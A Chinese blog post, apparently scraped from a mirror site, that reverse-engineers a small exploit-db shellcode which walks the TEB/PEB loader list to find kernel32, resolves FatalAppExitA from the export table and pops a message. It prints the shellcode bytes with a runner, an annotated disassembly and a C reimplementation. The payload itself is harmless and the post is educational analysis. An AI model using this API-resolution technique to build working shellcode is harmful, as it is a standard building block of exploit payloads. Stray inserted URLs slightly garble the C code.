首页 > 代码库 > 【逆向篇】分析一段简单的ShellCode——从TEB到函数地址获取

【逆向篇】分析一段简单的ShellCode——从TEB到函数地址获取

其实分在逆向篇不太合适,因为并没有逆向什么程序。

在http://www.exploit-db.com/exploits/28996/上看到这么一段最简单的ShellCode,其中的技术也是比较常见的,0day那本书上也提到过,大神都用烂了。不过想来很久没有碰汇编了,就心血来潮,权当温习一下。

/*User32-free Messagebox Shellcode for any Windows version======================================================== Title:         User32-free Messagebox Shellcode for any Windows versionRelease date:      16/10/2013Author:        Giuseppe D‘Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)Size:          113 byte (NULL free)Tested on:     Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3*/  char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"               "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"                   "\x65\x01\x68\x6b\x65\x6e\x42\x68\x40\x42\x72\x6f\x89\xe1\xfe"           "\x49\x0b\x31\xc0\x51\x50\xff\xd7";   int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}

运行后弹出了一个窗口:

第一反应是使用了MessageBox,用Windbg挂了一下,居然几个版本的MessageBox都没有断下来,细细一想也对 ,这个控制台程序根本没有加载User32.dll,怎么能调用MessageBox呢?于是分析了一下

下面是将其载入VS2005后,看到的shellcode反汇编代码,后面附上了注释:

/*00417000 31 D2                   xor   edx,edx                        //edx = 0s00417002 B2 30                   mov   dl,30h                         //edx = 0x3000417004 64 8B 12                mov   edx,dword ptr fs:[edx]         //edx = PEB00417007 8B 52 0C                mov   edx,dword ptr [edx+0Ch]        //edx = _PEB_LDR_DATA0041700A 8B 52 1C                mov   edx,dword ptr [edx+1Ch]        //edx = InInitializationOrderModuleList.Flink0041700D 8B 42 08                mov   eax,dword ptr [edx+8]          //eax = _LDR_DATA_TABLE_ENTRY.DllBase00417010 8B 72 20                mov   esi,dword ptr [edx+20h]        //esi = _LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer00417013 8B 12                   mov   edx,dword ptr [edx]            //edx = _LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink00417015 80 7E 0C 33             cmp   byte ptr [esi+0Ch],33h         //search "kernel32.dll"00417019 75 F2                   jne   shellcode+0Dh (41700Dh) 0041701B 89 C7                   mov   edi,eax                        //edi = kernel32.dll.DllBase (IMAGE_DOS_HEADER)0041701D 03 78 3C                add   edi,dword ptr [eax+3Ch]        //edi = kernel32.dll.IMAGE_NT_HEADERS (kernel32.dll.DllBase + IMAGE_DOS_HEADER.e_lfanew)00417020 8B 57 78                mov   edx,dword ptr [edi+78h]        //edx = kernel32.dll.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress (RVA)00417023 01 C2                   add   edx,eax                        //edx = kernel32.dll.DllBase + kernel32.dll.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress (Real Address)00417025 8B 7A 20                mov   edi,dword ptr [edx+20h]        //edi = kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNames (RVA)00417028 01 C7                   add   edi,eax                        //edi = kernel32.dll.DllBase + kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNames (Real Address)0041702A 31 ED                   xor   ebp,ebp                        //ebp = 00041702C 8B 34 AF                mov   esi,dword ptr [edi+ebp*4]      //esi = kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNames[ebp] (RVA)0041702F 01 C6                   add   esi,eax                        //esi = kernel32.dll.DllBase + kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNames[ebp] (Real Address)00417031 45                      inc   ebp                            //ebp++00417032 81 3E 46 61 74 61       cmp   dword ptr [esi],61746146h      //match "Fata"00417038 75 F2                   jne   shellcode+2Ch (41702Ch) 0041703A 81 7E 08 45 78 69 74    cmp   dword ptr [esi+8],74697845h    //match "Exit"00417041 75 E9                   jne   shellcode+2Ch (41702Ch) 00417043 8B 7A 24                mov   edi,dword ptr [edx+24h]        //edi = kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals (RVA)00417046 01 C7                   add   edi,eax                        //edi = kernel32.dll.DllBase + kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals (RVA) (Real Address)00417048 66 8B 2C 6F             mov   bp,word ptr [edi+ebp*2]        //ebp = kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals[ebp]0041704C 8B 7A 1C                mov   edi,dword ptr [edx+1Ch]        //edi = kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfFunctions (RVA)0041704F 01 C7                   add   edi,eax                        //edi = kernel32.dll.DllBase + kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfFunctions (Real Address)00417051 8B 7C AF FC             mov   edi,dword ptr [edi+ebp*4-4]    //edi = kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfFunctions[ebp-1] (RVA)00417055 01 C7                   add   edi,eax                        //edi = kernel32.dll.DllBase + kernel32.dll.IMAGE_EXPORT_DIRECTORY.AddressOfFunctions[ebp-1] (Real Address)00417057 68 79 74 65 01          push  1657479h                       //push " BrokenByte"0041705C 68 6B 65 6E 42          push  426E656Bh 00417061 68 20 42 72 6F          push  6F724220h 00417066 89 E1                   mov   ecx,esp                        //ecx = "@BrokenByte."00417068 FE 49 0B                dec   byte ptr [ecx+0Bh]             //set end of ‘\0‘0041706B 31 C0                   xor   eax,eax                        //eax = 00041706D 51                      push  ecx                            //lpMessageText = ecx = "@BrokenByte"0041706E 50                      push  eax                            //uAction = eax = 00041706F FF D7                   call  edi                            //FataAppExitA(0, "@BrokenByte");*/

原来是调用了kernel32中的FataAppExitA这个函数!

然后自己写代码模拟了一下这段程序:

void ShellCodeFunction(){    PPEB Peb = NULL;    PPEB_LDR_DATA LdrData =http://www.mamicode.com/ NULL;    PLDR_DATA_TABLE_ENTRY LdrEntry = NULL;    PVOID ModuleBase = NULL;    PWCHAR ModuleName = NULL;    PVOID Kernel32ImageBase = NULL;    //    // 根据FS指向当前TEB,通过TEB.ProcessEnvironmentBlock获取PEB    //    __asm{        mov eax, dword ptr fs:[0x30]        mov Peb, eax    }    LdrData = http://www.mamicode.com/Peb->Ldr;    LdrEntry = (PLDR_DATA_TABLE_ENTRY)((ULONG)LdrData->InInitializationOrderModuleList.Flink - 0x10);    ModuleBase = LdrEntry->DllBase;    ModuleName = LdrEntry->BaseDllName.Buffer;    while (LdrEntry->BaseDllName.Buffer[0x0C/2] != 3)    {        LdrEntry = (PLDR_DATA_TABLE_ENTRY)((ULONG)LdrEntry->InInitializationOrderLinks.Flink - 0x10);        ModuleBase = LdrEntry->DllBase;        ModuleName = LdrEntry->BaseDllName.Buffer;    }    Kernel32ImageBase = ModuleBase;    //    // 定位到kernel32.dll后,开始分析PE文件的导入表    //    PIMAGE_DOS_HEADER ImageDosHeader = NULL;    PIMAGE_NT_HEADERS ImageNtHeaders = NULL;    PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;    DWORD Index = 0;    WORD FunctionIndex = 0;    CHAR* FunctionName = NULL;    typedef void (__stdcall *Pfn_FatalAppExit)(UINT, LPCSTR);    Pfn_FatalAppExit pfnFatalAppExit = NULL;    ImageDosHeader = (PIMAGE_DOS_HEADER)Kernel32ImageBase;    ImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)ImageDosHeader + ImageDosHeader->e_lfanew);    ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG)Kernel32ImageBase + ImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);    while (1)    {        FunctionName = (CHAR*)((ULONG)Kernel32ImageBase + (((PULONG)((ULONG)Kernel32ImageBase + ImageExportDirectory->AddressOfNames))[Index++]));        if (strncmp(FunctionName, "FatalAppExitA", 12) == 0)            break;    }    FunctionIndex = ((PWORD)((ULONG)Kernel32ImageBase + ImageExportDirectory->AddressOfNameOrdinals))[Index - 1];    pfnFatalAppExit = (Pfn_FatalAppExit)((ULONG)Kernel32ImageBase + (((PULONG)((ULONG)Kernel32ImageBase + ImageExportDirectory->AddressOfFunctions))[FunctionIndex]));    pfnFatalAppExit(0, "@BrokenByte");}

需要注意的是,这里只是模拟它的C语言实现,并非完全逆向。因为这里是shellcode,根本都没有局部变量,函数堆栈平衡的等操作,都是使用寄存器来进行的。另外,也没有考虑很多异常处理,代码严谨性也不怎么样

最后,程序的思路很多地方都有介绍,再介绍一下吧:

1、FS寄存器在Ring3下作为段选择子,在GDT中指向了一个特殊的页面——线程环境块TEB。

2、而TEB中偏移0x30的地方指向了所属进程的进程环境块PEB。

3、PEB中偏移0x0C的地方是一个指针,指向了一个PEB_LDR_DATA结构,这个结构中包含了当前进程加载模块的信息。

4、PEB_LDR_DATA结构中有三个LIST_ENTRY,这其中InInitializationOrderModuleList是按照初始化顺序来将所有模块串成链表。

5、上述InInitializationOrderModuleList链接的结构是LDR_DATA_TABLE_ENTRY,这个结构就是一个具体的DLL信息了,其中包括了加载基地址,大小,入口地址,名字等等。

6、遍历这个链表,找到kernel32!所属的LDR_DATA_TABLE_ENTRY结构,然后获取其加载基地址保存起来。

7、加载基址也就是一个PE文件头开始的地方,从这里开始对PE文件的导出表进行分析,获取FatalAppExitA函数地址。关于PE文件的内容,这里就不多说了,大家可以参考《Windows PE权威指南》这本书。

 

【逆向篇】分析一段简单的ShellCode——从TEB到函数地址获取